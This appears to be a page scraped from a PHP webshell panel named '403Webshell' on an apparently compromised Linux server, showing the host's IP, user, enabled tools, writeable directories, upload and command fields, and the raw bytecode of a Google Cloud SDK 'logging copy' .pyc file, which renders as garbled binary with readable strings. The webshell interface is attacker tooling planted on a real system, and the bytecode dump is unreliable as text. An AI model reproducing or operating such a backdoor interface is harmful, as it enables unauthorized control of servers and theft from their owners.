403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/logging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/logging/__pycache__/copy.cpython-311.pyc
�

������dZddlmZddlmZddlmZddlmZddlmZddl	m
Z
ejejej
jej
jej
j��Gd�d	ej������Zd
dd�e_d
S)z'logging copy' command.�)�absolute_import)�division)�unicode_literals)�util)�base)�
console_ioc�4�eZdZdZed���Zd�Zd�ZdS)�CopyzCopy log entries.c���|�dd���|�dd���|�ddd�	��|�d
dd�	��tj|d
��dS)z Register flags for this command.�	bucket_idz:Id of the log bucket to copy logs from. Example: my-bucket)�help�destinationzjDestination to copy logs to. Example: Cloud Storage bucket: storage.googleapis.com/my-cloud-storage-bucketz
--locationTzLocation of the log bucket.)�requiredr
z--log-filterFz�A filter specifying which log entries to copy. The filter must be no more than 20k characters. An empty filter matches all log entries.zlog entries to copyN)�add_argumentr�
AddParentArgs)�parsers �lib/surface/logging/copy.py�Argsz	Copy.Args!s�������
I���������
>���������t�*G����������
7�	����	��v�4�5�5�5�5�5�c��|jstjdd���tjtjtj|��d|j��d|j��}tj���	|j
|j|���}tj��j�
|��S)Nz(An empty filter matches all log entries.T)�cancel_on_no�	locations�buckets)r�filter�name)�
log_filterr�PromptContinuer�CreateResourceName�GetParentFromArgs�locationr�GetMessages�CopyLogEntriesRequestr�	GetClient�entriesr
)�self�args�parent_name�requests    r�_Runz	Copy._Run>s����?�I���
4�4�I�I�I�I��)����"�4�(�(�+�t�}�	F�	F��4�>�#�#�K��� � �6�6��$�T�_�;�7�P�P�G��>���#�(�(��1�1�1rc�,�|�|��S)z�This is what gets called when the user runs this command.

    Args:
      args: an argparse namespace. All the arguments that were provided to this
        command invocation.

    Returns:
      A copy_log_entries operation.

    )r))r%r&s  r�RunzCopy.RunLs���9�9�T�?�?�rN)�__name__�
__module__�__qualname__�__doc__�staticmethodrr)r+�rrr
r
sS������
���6�6��<�6�82�2�2�����rr
za        {command} starts the process to copy log entries from a log bucket to a destination.
    aN        To start a copy log entries operation, run:

          $ {command} BUCKET_ID DESTINATION --location=LOCATION

        To copy log entries in a specific time window, run:

          $ {command} BUCKET_ID DESTINATION --location=LOCATION --log-filter='timestamp<="2021-05-31T23:59:59Z" AND timestamp>="2021-05-31T00:00:00Z"'
    )�DESCRIPTION�EXAMPLESN)r/�
__future__rrr�googlecloudsdk.api_lib.loggingr�googlecloudsdk.callioper�googlecloudsdk.core.consoler�DefaultUniverseOnly�
ReleaseTracks�ReleaseTrack�ALPHA�BETA�GA�Commandr
�
detailed_helpr1rr�<module>r@s
����&�&�&�&�&�&�������'�'�'�'�'�'�/�/�/�/�/�/�(�(�(�(�(�(�2�2�2�2�2�2���������T�.�3�T�5F�5I���9�9�9�9�9�4�<�9�9�����9�z	�	�
�����r

Youez - 2016 - github.com/yon3zu
LinuXploit